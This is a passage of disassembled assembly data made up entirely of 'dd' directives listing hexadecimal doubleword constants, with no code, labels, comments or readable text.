0D73800F1h, 0FF21CBABh dd 5D289084h, 0B800A3F6h, 0EBC6B40Dh, 7FE976h, 0A372CAACh dd 92E7D8D7h, 7A1CCD00h, 68D23CE3h, 78650103h, 4C0E90C4h dd 0A80DEC84h, 0EC33C1A1h dd 60342EEh, 0AF5B016Ch, 0F16000A0h, 0E4E73562h, 0AC503924h dd 0A73E0238h, 5AE680B6h, 8A2B76Ah, 0ABECA889h, 13BB3D53h dd 5DB5B902h, 86C0A6DCh, 49026815h, 2AA7103Ah, 0D896E3h dd 0F57039F2h, 9A87FD10h, 79759800h, 0D00D47AEh, 0A1C600BBh dd 17342CCCh, 94F2B813h, 0CAC37001h, 0AA14DDC5h, 7C77960h dd 0F0127AAEh, 4AA7000Ah, 6E009EA6h, 5833A547h, 193C73B4h dd 0B0CD6968h, 0DD0ECC6Fh, 0AD997F50h, 2D0B5901h, 5AF873C9h dd 565560h, 0E944516Eh, 7A04F35Eh, 0AA76A224h, 4001FC1Ch dd 2A1ADF38h, 6CA560h, 85E2F02Fh, 237675CEh, 0C33ED207h dd 3333A011h, 2A180EBEh, 9640D02Eh, 5EEBAA78h, 92D66B00h dd 0B745057h, 99340389h, 2B935D0h, 0B4166E80h, 0C20DCC00h dd 0EF9E9A41h, 22F9004Dh, 7585DC86h, 0FF002805h, 0B31D56A6h dd 9F63C3h, 0FEA52BD9h, 7221F836h, 9C8DE101h, 0F7D2EA50h dd 33261520h, 0DF99A201h, 1FC51E80h, 0ECC57F51h, 460070A3h dd 0D0A59065h, 0CFA91773h, 2203888h, 3D33B2F7h, 0A106B57Ah dd 147EC3BEh, 0FDE30020h, 5459014Bh, 9000649Fh, 2CB0E36h dd 411E3Ch, 6AB5E32h, 0BE42433Ah, 3939D938h, 884CB087h dd 1B7BC3h, 0C5EF671h, 0A67C90C1h, 3D9961Dh, 8F3FCE4Bh dd 0F8E76073h, 0AD8359h, 0CCFA163Bh, 6D7086CFh, 92500FF6h dd 70055A0h, 9EEF9D0Bh, 672F04E0h, 97561184h, 4A1710D1h dd 0D300B4DBh, 0A204CF72h, 0E90229h, 0B7F37EBh, 742A8911h dd 5F16BAFCh, 0C400D6BFh, 5EE6FFCEh, 6F2B008Ah, 1C80383Fh dd 0F0C198C4h, 0A632B9A5h, 0FEFCF8h, 0FAA13063h, 83DA04C3h dd 9A1F58h, 0C15052ADh, 59A07Ah, 36E02FB8h, 5646212Bh dd 1E42B93Ch, 9900C7B1h, 945E2A07h, 0A02601CFh, 0F3392FD9h dd 46E05974h, 4A00C82Ch, 0E9BA357h, 0D2B922h, 5B9C40FFh dd 0AA87D861h, 31FC787Ah, 0BD315460h, 0E811EE1h, 2B70D7EBh dd 0D2D4C582h, 0EA4DF898h, 52A22004h, 0AC11DDBh, 67F08AC2h dd 689800BCh, 59C43747h, 4C498925h, 19700168h, 0A1CE7914h dd 0D3003023h, 0BD571187h, 8103B260h, 0E2FA9E0Bh, 0A735F8D9h dd 0F90506D1h, 6111D313h, 217F5B1Eh, 85614487h, 0B6C2169h dd 3BF81294h, 4B910086h, 0ECFF46E1h, 9902096Ah, 0C89B9F0Ah dd 0C1484858h, 542F3ACAh, 5964D485h, 0BE943074h, 33005116h dd 60E7819Ch, 0FE5D3ABh, 96D274EBh, 6FBED582h, 820E30A0h dd 0ED08AA61h, 3AB2FDDh, 359FA947h, 49E34CC0h, 0C0A017FEh dd 0CF0061C8h, 2C46743Bh, 439CA1h, 25836926h, 1A15E27Bh dd 0E7E84F76h, 5B984402h, 0C0EBE054h, 0B675Ah, 0FE7B14A3h dd 3EB9D1DAh, 0E5DD0903h, 0CB1308h, 942E79C1h, 83C5F850h dd 52641A00h, 6B74018Ah, 17FE33A6h, 0EA809DA0h, 19602945h dd 0FF5FC510h, 3CB901C2h, 8BABE52Ah, 96E370F1h, 8960F707h dd 0E907BACCh, 90545753h, 93CA40h, 0C249FB41h, 0E89128C0h dd 99069D00h, 577363EEh, 0B590B1h, 0C0757A33h, 5BFF514h dd 7CFEDD00h, 0EEDC812Eh, 7BF9008Eh, 1776C4Eh, 0E03EAE1Bh dd 0B3D30089h, 0C4A21E1h, 78EF0069h, 39C03330h, 9800A24Eh dd 27EDA956h, 4B4E4BEh, 61342F07h, 0C2DCC094h, 0B307D137h dd 0B0738CFAh, 0AB28F8B0h, 0FE39009Ah, 8A85ADF7h, 79C07AC3h dd 69658DB6h, 0F0F40079h, 0BBA72ED4h, 2300CA4Ah, 2563545Dh dd 3B992AD9h, 108086A1h, 6FF14E7Ch, 0F0F33A1Ch, 0C50694C1h dd 0E5320DC3h, 0DF4C0090h, 0F3C9AA5Dh, 3700A7B5h, 0E3B05427h dd 7864D128h, 0E4B7005Bh, 4F57951h, 96078295h, 5472E8EEh dd 0BA994450h, 0F471A4h, 0CFE3BF88h, 5F457BE1h, 0BD07A80Bh dd 5C70004Dh, 3889069Eh, 16801B37h, 595D7136h, 0EB0045F8h dd 83B3D444h, 140DC158h, 0C30638DBh, 10667101h, 0D81D81C5h dd 0E600ACE7h, 0CB4BAE20h, 26EC0Fh, 22192ADAh, 4DAD7AF6h dd 13ABF302h, 0E050BD3Ah, 0E21A2Ah, 25B8670Ch, 9D88F5F6h dd 0C6353F00h, 494DAF75h, 67060017h, 0F2720C63h, 0B000E7FFh dd 820D3AEEh, 0FBE526h, 6EB23B1Bh, 20E0C95Ah, 48DE860Fh dd 0CB91E3F2h, 0EEA28830h, 790C1F15h, 80A9006Dh, 709885F6h dd 5B00A7E4h, 3BAFCF05h, 6C637Ch, 1ACDE1BFh, 0C69AFB13h dd 1BECBE03h, 88425B94h, 8D356Fh, 0F04C2AC2h, 2D8439F9h dd 3B9C7214h, 0B0E01E9Eh, 177890B0h, 6A2C018Ah, 0DC98FF9Ah dd 8CD8C4CBh, 16091B03h, 0A74E806Eh, 7ACC2620h, 46A500C7h dd 0D1CFFE8Eh, 0AC05B5DEh, 69D86FB4h, 28F08C02h, 0EA35C002h dd 96150056h, 0C3B8749h, 651E5021h, 9A83B4C1h, 80EF903Eh dd 0C49D70h, 1F891CF7h, 9EFC63A8h, 0F01F4DE2h, 3802DA7h dd 9481D050h, 27A11B77h, 40C83632h, 0B100DDB6h, 0E4318098h dd 1DE10AA9h, 7B11BE99h, 4CA003FAh, 8C955478h, 0EF7F12B0h dd 70EC8100h, 688D53A4h, 0BC293B17h, 0C43E5200h, 210D1207h dd 0C02CF41Eh, 0CC3FF900h, 3E951F0h, 72E580Eh, 0C0FF210Fh dd 2462DCC6h, 56001D76h, 0B2947512h, 0AC5BB3h, 6B9B901Bh dd 9361A28Ah, 3BF9190Eh, 53B9639Eh, 2642E82Ch, 0DD330A7h dd 1D184460h, 80198D3Fh, 1F8EE0E7h, 14560AE1h, 0C0CA746Fh dd 0BA673280h, 6C603E44h, 438AB688h, 0FBC5031Ch, 0FC35BE10h dd 0C480ACDAh, 8B0B513Bh, 0A819A4A0h, 0C903E476h, 0B090F5EAh dd 0C2790E3Eh, 0ED6BA5E5h, 41699A80h, 9F00707Ch, 0DA404CF4h dd 3E0F216h, 0BF2F15FCh, 89E66966h, 0EF03F4B0h, 0CD635AEEh dd 95A80A14h, 0C0440A9Eh, 17949C2Dh, 1CB9700h, 80346539h dd 749807AFh, 29B01429h, 0EAED2800h, 0D7606D82h, 0ADCCB511h dd 0D1D30053h, 6508F163h, 932ACBB0h, 3A008049h, 3782DEDh dd 1BF777h, 0DFCB0CF4h, 93BD4889h, 66D47407h, 58B09D5Eh dd 0E28DF5EFh, 1ECF7704h, 40F0BB46h, 0A6BF4F17h, 0FC00410Bh dd 77F389EAh, 0E65A43DBh, 65E800CDh, 48A447F6h, 2A029C20h dd 0E4985753h, 11BC900Eh, 0B6029DFh, 0F75E40D8h, 1367052Bh dd 0B5D055D0h, 0E7E459h, 5766B427h, 0D8C03E6Ch, 4DAC40Ah dd 0E48E64F6h, 28E67F30h, 0F844FC80h, 30E835EEh, 8950123Ch dd 0A806BD0Dh, 9A37F9Dh, 488A089h, 71300A6Bh, 394013Fh dd 130C8C55h, 29D653A0h, 39C72B07h, 69D370F6h, 527801DEh dd 153594F3h, 1FDC4091h, 590FBD85h, 42CB90B7h, 0C0CF485Bh dd 73A0A48h, 97DFF3A6h, 659F20D1h, 3909D1Bh, 7E00F6E2h dd 8C5D46AEh, 3BE15D0h, 67A55263h, 68C01BF1h, 2DFE2B1Fh dd 0A6C3CD28h, 0DF0C0300h, 4624DD13h, 0EB8D008Ah, 0A02EFEEFh dd 0C7EE194Eh, 0FF1271E0h, 5D07BF62h, 0DAD0CD8Ah, 3F3224h dd 0A876945Eh, 7C0CA5C5h, 0F4BB03Ch, 4F66F464h, 13376021h dd 0E0D6AACAh, 0EB4A0058h, 0D7F3A1DEh, 7A7347E3h, 0D96D4B00h dd 0D4DF34BDh, 0D5E607E7h, 50CB0A69h, 2193873Fh, 17ED2700h dd 3BBFB1DEh, 0EF670373h, 2CC35279h, 88637EA8h, 96FC0B00h dd 0A448956Ch, 0F07F00E8h, 3D30C015h, 0D46046B5h, 0FF1F44C0h dd 76E500CBh, 0D6BC170Dh, 0FD1FDCBEh, 6041E040h, 7951D48h dd 0FC3160h, 0CC3D0B7Ah, 24F1C38Dh, 29F80603h, 0F0600D5Eh dd 1D038A66h, 81C7F0DAh, 1B6B8CF6h, 49A8E7F7h, 0CA3ED5B4h dd 0A818A81Ch, 51C73F00h, 0E37C402Bh, 0D9F70F39h, 0B260ADBBh dd 0C8B83C36h, 6900CFE0h, 0AED8A1E7h, 158CEDh, 58075B8Dh dd 5008FC65h, 0FD068800h dd 0DDE3A49Bh, 553F0028h, 0B3CEA3C7h, 680EC89Eh, 0C2B754DFh dd 85D9A764h, 0B0002CD8h, 50306A71h, 0E2361D02h, 77A083FCh dd 480B59Dh, 55001C0Ch, 65D4C22Eh, 3C767B88h, 439492E3h dd 7A80D05Fh, 48BB6064h, 39007C74h, 0E37DE1A1h, 18514BE0h dd 10E6DCF8h, 0CC00806Ah, 3581A438h, 3C75EDBBh, 26000EFBh dd 8A49EF33h, 0D71E6956h, 0E192A66Fh, 469C0840h, 12D4371Fh dd 0F39740h, 0AF035D24h, 0D743025Eh, 0C812FC04h, 45C843Ah dd 0FC3622D8h, 4FBF0148h, 0E97A9F38h, 0F23370h, 0A38A3C77h dd 8999CD42h, 29C9E50Ah, 2F86B021h, 81FFADh, 121393FAh dd 1827898Bh, 4DFDBC1Ch, 2B046B80h, 0D144D6h, 62DE10ACh dd 5ED902A4h, 0BB6E070Fh, 6200D7AAh, 0C983CB7Ch, 0C1A207E9h dd 40C4CDB8h, 290EA471h, 0A9956D38h, 47006C66h, 67406234h dd 7D7606C7h, 0E08CFB35h, 0EAEEED00h, 0AA06B047h, 765426D0h dd 703200BAh, 158BC304h, 0F94F18C0h, 50E595FDh, 7D3B44BAh dd 1C20928Ah, 81DE0446h, 379C0952h, 0F798C3F2h, 1C24AB4Dh dd 0A4964BDh, 0ECE09804h, 12DF30F5h, 0E32E433h, 740A8264h dd 6E013FA8h, 0B56431BFh, 22A050B7h, 0AE1C152Ah, 994050EFh dd 0B4F597F0h, 89AD05A4h, 0AE987D91h, 0F79BA8C0h, 54560757h dd 6076BB12h, 8E746BCCh, 4A622E01h, 391ED585h, 0E22E40E2h dd 49540A21h, 0B82D50h, 1B3801CAh, 0CC1A3BE7h, 80F226D1h dd 728F2818h, 0E5590099h, 0D3611817h, 4D1E6BCAh, 2B0390A6h dd 1CD5EAE7h, 4502E0h, 6F763538h, 5E1FC213h, 0BC8282ACh dd 0C3701B8Ah, 5B86001Dh, 3314E625h, 900A0DFh, 0E4CC5802h dd 85FEBh, 0ED8FD9C4h, 2EBBD781h, 9976EAFAh, 47BFD02h dd 486156E2h, 508C2D8Ch, 7B80D0F9h, 62D11F37h, 0D5C94394h dd 0A800E127h, 39688A4Bh, 0F0F2938Bh, 3A890051h, 0D99F4AB8h dd 1A3CD275h, 0C15080EEh, 6EE7106Fh, 0F1CD3BE8h, 57B98D00h dd 18AF78C2h, 67019FEEh, 43FA8BB3h, 602C5Dh, 0D4300E5Bh dd 0FB002FACh, 9CE4A7A4h, 0F0415828h, 464BDD13h, 0DC7A4100h dd 24DF905Eh, 8FBC5DD1h, 7BC08A47h, 0EFCD6BFh, 0A840E950h dd 2C6CE349h, 828334DDh, 525783DCh, 0AC02C39h, 0CF338CE7h dd 9907A8E6h, 0BF50B181h, 0A498B824h, 0A30903B5h, 4801746Eh dd 57E49FF8h, 0DFF2ECEEh, 0CB1C021Ch, 8D83E21Dh, 34568F2h dd 0FCFA07E9h, 5C08B71h, 8D008CFDh, 61381EA0h, 9A4DA809h dd 0E7D30748h, 801DE987h, 0BBB040A6h, 340013E2h, 0C51EA8C7h dd 1D38AD6Eh, 8EC4C1h, 0E00C2E29h, 0D300E575h, 0DA8DF1D0h dd 3CFDD973h, 0DD1C5F45h, 44445C69h, 0C2F63753h, 0B4C0ADB8h dd 271C5FEDh, 404C963Dh, 0EE6A85Eh, 8F42CFBFh, 2A88BAAh dd 2A21E398h, 0CC75A4A4h, 649A477Ch, 5420C002h, 0C03932A9h dd 3E7D6600h, 23276CBh, 3C456236h, 1B234F00h, 8F2C5Fh dd 0FC9B2B19h, 339D1D20h, 0BE779000h, 2A48BAC0h, 8F8A3A21h dd 0D9AAEA00h, 3A873004h, 0C245E30Eh, 0EFCC205Ah, 581FA18Ch dd 3320C17h, 10C8D6E1h, 0B41EDD67h, 80B98424h, 0E674985Ch dd 52F620h, 35ABC0DEh, 0D21F8F89h, 0BAE7F901h, 0E908C52Ch dd 40987414h, 0AF7D7134h, 1C2D91C0h, 0FA2F8F0h, 16D8AE07h dd 3DBA720h, 9038C45h, 19F10D36h, 75DDE10Bh, 0B225F6E8h dd 0D86E0EC4h, 45B25CF9h, 844B4678h, 9F68DCCDh, 0FC059D74h dd 558D88F4h, 7080C3C4h, 993E6CF1h, 0B44A00F4h, 1969ACE9h dd 24DCFA01h, 51D9F0A6h, 9846EC0h, 0D7975FA0h, 0C8084CA9h dd 0A6DE6344h, 0ADF47097h, 6924CC59h, 5450943Ah, 0FBCA44Dh dd 9A8D5F6Ch, 0CB0F8582h, 9B8B306Fh, 0EE8C8012h, 3A1B488h dd 0FF2D8AB7h, 53E882E1h, 0DA00FB3Fh, 15D1A434h, 9435451h dd 0F1729BC0h, 713AE087h, 60276E46h, 5A0E9094h, 32F89C43h dd 50341C80h, 0CEAD00FBh, 0BE7FF9D3h, 0C700B819h, 0FD63D939h dd 0C3F5E4h, 5E44ECF4h, 78CE89Ah, 7887C41Dh, 846B283Fh dd 815A4B0Eh, 63BA0759h, 0EC9B21E0h, 1CECC089h, 2953C42Ch dd 1812171Fh, 69D6C207h, 97800C84h, 26A3BC6Eh, 0D036C8h dd 0FB2FC0EDh, 0FFF2FDF0h, 0EC4EC50Bh, 0BCD4307Ah, 0C4FC3F32h dd 0B303EDBAh, 2434A695h, 3428CDBDh, 0B6006A6Ch, 0EA11D31Ah dd 12340C92h, 4050BD3Ch, 70440A04h, 5092E097h, 0B0DC3952h dd 41E679h, 0AD6B05E5h, 0A66038BDh, 49367F02h, 0E0540173h dd 0D2FD60h, 8B769E56h, 0BA2C65B2h, 0F2953Dh, 274B492Bh dd 5C4DB62Ah, 7880FC39h, 0F9E8468Ah, 0EF2CD492h, 970018FDh dd 0B3049961h, 0D0530047h, 83B13F71h, 19096DD6h, 2AF22ABDh dd 5F47CCE0h, 0ACEEE250h, 6EA10FCDh, 0BCB73Eh, 0D2A96720h dd 0F018E35h, 0AC2B16E0h, 38C8A46Ch, 9084F4BFh, 15E4B38h dd 88F50114h, 0C208644Ch, 7453220Ch, 1CB2E00Dh, 41BFF72Bh dd 0D3DAAB04h, 455DCC9Dh, 49E37700h, 73FA6BA7h, 8EC34h dd 0D895601Ch, 24CC3CF6h, 0C015D607h, 0CDA166BCh, 70E8CAh dd 0AB7122h, 54B9A440h, 0F33CBDCEh, 0E4CA059h, 80615184h dd 0C22E2B09h, 2F1707CBh, 0D2190150h, 0C46B7299h, 0D2D708B0h dd 0E0274Ch, 0F0457FFFh, 550F12h, 0F835E806h, 6F142CFEh dd 391178B7h, 2218CBC7h, 3A0A4095h, 0E1D3AC1Dh, 0E447F380h dd 1364FE8Dh, 23C565C2h, 4290FBD0h, 3A3F22F7h, 0EC55261Ah dd 0C114B880h, 1081066h, 1545AF99h, 60413EF9h, 913EFF48h dd 0C08182FCh, 0E0A39BB8h, 24010B98h, 15F80902h, 0FF00C439h dd 7E3050CDh, 0BD0092D1h, 192EA5D3h, 0A05D0BB3h, 779CC8h dd 7DAE9011h, 0A41D7BBAh, 0A8A69901h, 45B6E29Bh, 0EC107D61h dd 94E68ED7h, 72E8A070h, 7D18C9D6h, 0E1A098B1h, 0DEA45184h dd 2E0CF3Eh, 94D11ADh, 81813EECh, 715D41B1h, 78808DE5h dd 50CFFBD9h, 0B20F6965h, 978F8B85h, 2FFF3801h, 0D99CAE5Bh dd 0AD2384FCh, 8958941Ch, 0EDB1E3B0h, 0F93CD4CFh, 2282F4Ch dd 7C24A161h, 4E88CC7Bh, 8A047249h, 67F692C0h, 0A502BA02h dd 0E16E2BD7h, 60CC1CF8h, 0D0490E94h, 4D027957h, 3C5B5564h dd 5B8180AEh, 623923E7h, 8C5CC5F1h, 2D6B1F9Fh, 158700C4h dd 194C7ECCh, 83C03138h, 388661ADh, 8079E271h, 0F06D88E8h dd 4AC80B26h, 840004FAh, 0ABF912B6h, 9BBA2200h, 9430C3Ah dd 7C5E03C2h, 0DF04D32Fh, 6BBDF802h, 0C8301037h, 3243D530h dd 1F9849B1h, 2F54C2C0h, 0E2E3C100h, 3651FE2Ah, 10B00F90h dd 75C009B8h, 0D9DC9F5h, 927C5F0Ch, 637C0C2h, 0E1031811h dd 7B12D1BDh, 50C066E2h, 54F1975Bh, 1750FC85h, 760711h dd 0A36A7CA8h, 0C96E426h, 0B6433D07h, 0AD7F7360h, 0E16400D8h dd 5BA5D7FBh, 8001D37Ch, 904CDCB3h, 6C3828EEh, 0FA116200h dd 44850130h, 0D4DF4226h, 691DFB04h, 44864E1h, 7E030B06h dd 24A96689h, 53C0588Fh, 27F0606Ch, 0BC2E7800h, 59890E97h dd 0AC7C9E02h, 944C029Ch, 0DCB8AA85h, 1A029031h, 3656DF01h dd 23C0E0E4h, 0D38705F7h, 8E6324F0h, 928069BCh, 0C910E150h dd 0FF678D8h, 7FFDEC5Ch, 7D1B9F20h, 86003A8Eh, 1E55A6B6h dd 583B3C90h, 491C906Eh, 0F4B24109h, 3056EEB5h, 9916C7D4h dd 6D00DC5Ah, 0F1AD59D0h, 6CA80FB9h, 47A02D5Bh, 0D12B3F92h dd 0D6B8FA00h, 9D2F8DA9h, 0C0AC5424h, 0FD660FDFh, 90009550h dd 811E3C27h, 7B267505h, 0F090D0ADh, 4ADF9C44h, 0E93C00B1h dd 0F9E3F31Fh, 61D4783Fh dd 16D23A48h, 19C282Dh, 5C045002h, 614961E6h, 734C2D18h dd 6C05852Eh, 0BDAF8A00h, 999A73h, 0A413BEE5h, 1B86EAE9h dd 5433DE00h, 2D0D18CFh, 2B78F41Dh, 0F40796h, 1324DEBFh dd 4494B1BBh, 0B8A04444h, 751E2728h, 0CA668020h, 60041AA8h dd 32CEA14Ch, 9D0660E2h, 0D1D2C0EEh, 0C914C300h, 0F3700580h dd 0F10F00A5h, 30908903h, 0BC48DC21h, 7EF802CCh, 681AAE91h dd 0ED3E2364h, 0E0EC7070h, 97892D6h, 8B318362h, 91C1CC8h dd 526EB115h, 879A0294h, 46D37375h, 99ED0E1Ch, 5140A7E8h dd 0CFE53CB6h, 9FD26D00h, 6F71D15Dh, 0D73A1DA9h, 0F4BC8013h dd 4FE307A7h, 1FD66300h, 50E885F7h, 87B7008Ah, 997A1C70h dd 410EE90Dh, 0E0598B7Dh, 0F01B4CF4h, 68851F07h, 0BE71414Eh dd 8F984F48h, 20BA7920h, 152A0F3Ah, 0E1CA03C5h, 0DAEC9A55h dd 95A568C0h, 5370B160h, 60BC6FAFh, 3E7388Ch, 0E3605D8Bh dd 1CBAAE11h, 0ABF81FC7h, 0BD67C063h, 0CECCE533h, 48CF69E2h dd 4E2B9Eh, 0C807F7F7h, 91DD006Ch, 2D350B66h, 2503EEA4h dd 848DDC23h, 0D518F8B5h, 7DC100F4h, 94EB7312h, 0D400B95Bh dd 0ABB09964h, 529646DBh, 28024C54h, 3F22D4F5h, 0ACECA580h dd 8D04B715h, 0D16F6B4h, 5F4B53C0h, 702A0617h, 38C1E652h dd 7ECD5D00h, 0B1E54A21h, 2007002Ch, 682A6184h, 5414DFBAh dd 84DD99h, 882D466Eh, 3E20B86h, 0B4CCC7FBh, 5813A849h dd 6D009C24h, 93C31A09h, 0D5AC1FDDh, 8F60E57h, 703D100h dd 0FF03E5AAh, 0C377AA9h, 7196F02Dh, 4B7EB1h, 0EAE414F7h dd 85B6D608h, 1E7CD8E9h, 0E916FD01h, 3DF93163h, 8E291180h dd 788F3948h, 0E6F1B0Eh, 0A8D528h, 8B41709Fh, 1433AF52h dd 0AC649C84h, 23474E02h, 0B4A0DA55h, 6FFEE715h, 0ED682450h dd 0D8D17C00h, 0C06A0C76h, 0CAEF0130h, 786CBA9Ch, 931441AFh dd 6A8482Ch, 0F232B8C0h, 4BEACD4h, 78B1F971h, 0E134001Ch dd 38F80A4h, 0CCE994E5h, 9102A915h, 1DFAD9B4h, 25C480FFh dd 0F2BAF6D2h, 0B1B7124Dh, 645E7Eh, 2AC4027Dh, 2812F94Ah dd 220016A7h, 527B0C78h, 73F80088h, 0AAFC7C04h, 0EC2CB955h dd 9500A490h, 7497998Ah, 3865481Bh, 8380B1C0h, 280127A0h dd 6981732Eh, 26DCAC22h, 57F900E0h, 0A3EAC82Ch, 42035D05h dd 0F61CFECEh, 1DD0CF07h, 37C1F1E1h, 71502399h, 213BDEACh dd 0D571C8C8h, 0B503BB12h, 2F440C43h, 46CF8EAh, 65BC2A81h dd 0ED1105D8h, 42AF28E7h, 857A95E8h, 4E20C08Fh, 0FBF41D5Ah dd 0A36D4C01h, 0D335E983h, 3442EF4h, 0A50E09B6h, 0D1148B64h dd 803801A4h, 636A2EEFh, 8E9126BAh, 2B220018h, 9A18974Ch dd 0D0A60200h, 0FA19B695h, 0FD4926Bh, 766F788Eh, 26611E20h dd 0E1009977h, 0A0989CB6h, 9F808Bh, 0D5665616h, 38F0155h dd 4D838203h, 0F0846935h, 1E53B86h, 9C5E2A42h, 0EC64E163h dd 6C0F0314h, 602B3E1Eh, 7E656E2Eh, 92FE20Dh, 0BB284B0Ch dd 9873BC00h, 0FE0077EDh, 3DEB112Eh, 2CCA1F0h, 0DB2AC1FFh dd 74684306h, 0E492A9E7h, 1EE8B953h, 0E5187D82h, 860CF1h dd 453444D9h, 4704EBEFh, 0F9CA4A00h, 1AFB28B6h, 0C3840296h dd 46D922F2h, 897A6BC0h, 7F039400h, 9EFBA65Ah, 6CEE0099h dd 0CEF02B3Dh, 7800C67Bh, 1C382A3h, 1486B3h, 551C8C84h dd 0A1C7C02Bh, 0FE715C00h, 0C1D4E15Eh, 0DD9C0096h, 2095CE6Eh dd 0B300036Bh, 0E3AD0235h, 1C2714B7h, 0C0A1246Dh, 41711962h dd 0D1008F96h, 0C7DAF281h, 17F6B98Ch, 0E616C22h, 376069C0h dd 20B12D0h, 0B3FDB100h, 65A024C9h, 28340001h, 0D3E4E83Dh dd 1A008AB8h, 0BF8CFC31h, 1C0CDC4Fh, 216E84h, 0F9ED629Eh dd 3E1C566Bh, 0B7C75FE8h, 7D90CACFh, 23DB73h, 0D650D8B8h dd 0BDAC5E5Ch, 0C8001BE8h, 915717B7h, 0D82252h, 19091A4Bh dd 241D38D7h, 0E64F6D00h, 3EAEA343h, 2A1C00Bh, 0EA573BD1h dd 0B9C69C39h, 405B80CAh, 26C53D19h, 37770355h, 1DC4C58h dd 75EC4DC8h, 7B00B3F0h, 686BDD1Bh, 5C9F54h, 0D2D65FBEh dd 6F7D830Ch, 4B3AE701h, 1C4EF553h, 0C0324683h, 0C6D0C215h dd 9C0056FDh, 550F9050h, 9B739Fh, 0CB10DCCAh, 0F3DE9389h dd 0B1A65B01h, 0FC01BE6Fh, 0E2B3F850h, 11E53ED6h, 36B00330h dd 1F54F2A7h, 1B0056E0h, 15BF5F5Dh, 0D70831h, 0DF205332h dd 991CAB48h, 5D8439h, 794F6CECh, 921E6697h, 82940010h dd 0FC154ADBh, 0F2008D4Eh, 9C101C59h, 67AAB861h, 0C205295Ah dd 0F2FCE2F7h, 42FABB01h, 8ED03E77h, 88CA602Ah, 57339652h dd 0CD36AF00h, 0F2DD16D8h, 35A81886h, 3431B8AEh, 97FCCCA0h dd 6F1A0512h, 1CB34467h, 29E3BEh, 0BF15D420h, 328ADD70h dd 118FA500h, 0F71E2CB0h, 0A4FB034Eh, 5CB8A3D9h, 0B72FB009h dd 0DAEB00E8h, 0D5686Dh, 52295079h, 16EB7AB4h, 0C0394600h dd 0B6C83275h, 0ED705Ch, 443F87BDh, 22079BC3h, 854CB501h dd 58B7B290h, 76D6C8F4h, 0A97400C9h, 0D463BF36h, 0A3792C2Dh dd 0FF8EF102h, 0FFC0E50Dh, 1134A160h, 0EC795D1Fh, 331F1241h dd 0B0207E53h, 0EA240095h, 6F4B7FB4h, 8600614Ah, 3BAF164Dh dd 80F327h, 3A7565B5h, 25907CC7h, 945BBB07h, 0F6C0F57Fh dd 61BDED55h, 9ECCD8DCh, 0B40BBB0h, 0B7066Fh, 0AD2F7FFEh dd 1E590789h, 80A8A123h, 6EAE5011h, 9539C600h, 0D6B25462h dd 142D00F1h, 448C1BF8h, 4F779C29h, 0AC3BA301h, 3EA47591h dd 0BC47F880h, 0EAC4D28Dh, 0CBE6C200h, 3BE4F9E8h, 991E3FFEh dd 19BD7380h, 0FB068774h, 0F328B660h, 0E27F67E1h, 483D603Eh dd 6277930Dh, 0B8F6560Ah, 140F848Eh, 25CDA08Ch, 1E4020Ah dd 0A32F034Dh, 9EDDCBD3h, 0CF9C7C64h, 0C0C47000h, 11B4965h dd 0CB79A13Ah, 0E0CA9A42h, 5F00C990h, 388336FFh, 4748A03h dd 0A6C5987Ch, 0C0AB8762h, 45EDD569h, 49FA50C0h, 72CD6A28h dd 6B7A14E8h, 0FA805426h, 2F54FC3h, 0B1B5EA05h, 10307C0Fh dd 742A170h, 92405E18h, 97CAF004h, 0C438F349h, 7058E55h dd 7A36609Ah, 356D06h, 0C2E50363h, 78A633EEh, 7CD73B2Ah dd 42EF8D00h, 0BE6C4BB0h, 639F3DDAh, 305DD592h, 9E41BB1Ch dd 0B503DDE8h, 0E423EF13h, 0C42BA8F2h, 78442C5Dh, 70A60270h dd 0BBC057F8h, 8606D7C6h, 432E7D16h, 247FF069h, 470AA2Bh dd 9CE57ADBh, 0C8ACF024h, 0F95D8D00h, 12B00E32h, 0BC351F2Fh dd 93E40D9h, 1420EBEAh, 9CADFE02h, 948BC94Ah, 852C3AF8h dd 310ED180h, 9E568AA0h, 0ECFFD22Ah, 263F0800h, 602102D6h dd 29490057h, 0C7FD2734h, 4D005014h, 8FE5D933h, 3F7E92h dd 7AEC3909h, 79D1E84Fh, 4AE77600h, 0C163493Ah, 0E3DA009Fh dd 48E55A77h, 62000672h, 0B5761C7Dh, 39609998h, 7181073Fh dd 320F6A6Fh, 0F68420FAh, 90D48100h, 362BADF5h, 0EBB0C3h dd 177A6BFEh, 7D1401E0h, 649CC800h, 3D664F11h, 0D90C24B1h dd 60A400F8h, 0F3E4FB36h, 0D6B9EF00h, 0E6935E61h, 8890497Eh dd 0DA5215C2h, 3C00B894h, 257D21CDh, 40B3767h, 8BD3D99Bh dd 40B499CAh, 0BB6A0294h, 0F545500h, 3576D5D4h, 0E6D13137h dd 0EC7E0378h, 17007561h, 0CD21DED0h, 6B4B7Dh, 0ED32BF7Fh dd 0C5D4AFECh, 0C06590CFh, 0FB9F6383h, 0B55B0C5Fh, 0F0CC9017h dd 0F2284460h, 3F58C2F8h, 3A809EB0h, 6F7FE403h, 0A2E85EF9h dd 8C1D020Ch, 2F21845h, 26CA9F30h, 7466B431h, 8CADD000h dd 0FE4EDB7Ch, 5C31EF3Ch dd 5F61E8DFh, 88331342h, 0CA8800EBh, 5F35EE2h, 719F4A0Ah dd 60CFF0D5h, 3B362A7Ah, 42890053h, 9E4D6FA3h, 0D1004C47h dd 4018B527h, 0BACF43h, 0E1601161h, 624B46A5h, 5C010900h dd 6CD7F53Ah, 927D012Eh, 163FFC49h, 0A1803432h, 80637F3Fh dd 87BCC8D3h, 8A750Bh, 21EE70B4h, 6A9458C9h, 0EDD1BE01h dd 5A2A1CCBh, 3D83F8B8h, 9E7AA2C7h, 730BD3A0h, 0F5DC4D00h dd 0CAEB10D6h, 40DAF9ADh, 0CD7B8Ch, 0A341F9D9h, 5179D22Dh dd 0B800AFE8h, 3B9D5A2h, 2619B229h, 802897B4h, 7D8CD0ECh dd 7500FDEEh, 7BD62C7Ch, 72A605C0h, 0B8853C92h, 0B823393h dd 58381A04h, 301175Eh, 2B204CB8h, 0E8F0CAFBh, 69EA2663h dd 6093E778h, 0E3DB7EF9h, 68D80800h, 89CF1AA4h, 606A9853h dd 226E681Fh, 0F012451Eh, 8000CC33h, 0F86263EEh, 4E885h dd 19F22D6Ch, 0DD799D31h, 1CECEC50h, 789CF12Dh, 0C567076Fh dd 54E36273h, 130C02Bh, 1000E8EAh, 42C46ED4h, 9C9EEBDh dd 9B444B51h, 3177D0A0h, 78007EA5h, 0B1E24956h, 744F5FD7h dd 0CA260012h, 532E6D3Eh, 5250CBFAh, 0A1003BE8h, 2AC5E7F3h dd 721A997Eh, 10B20062h, 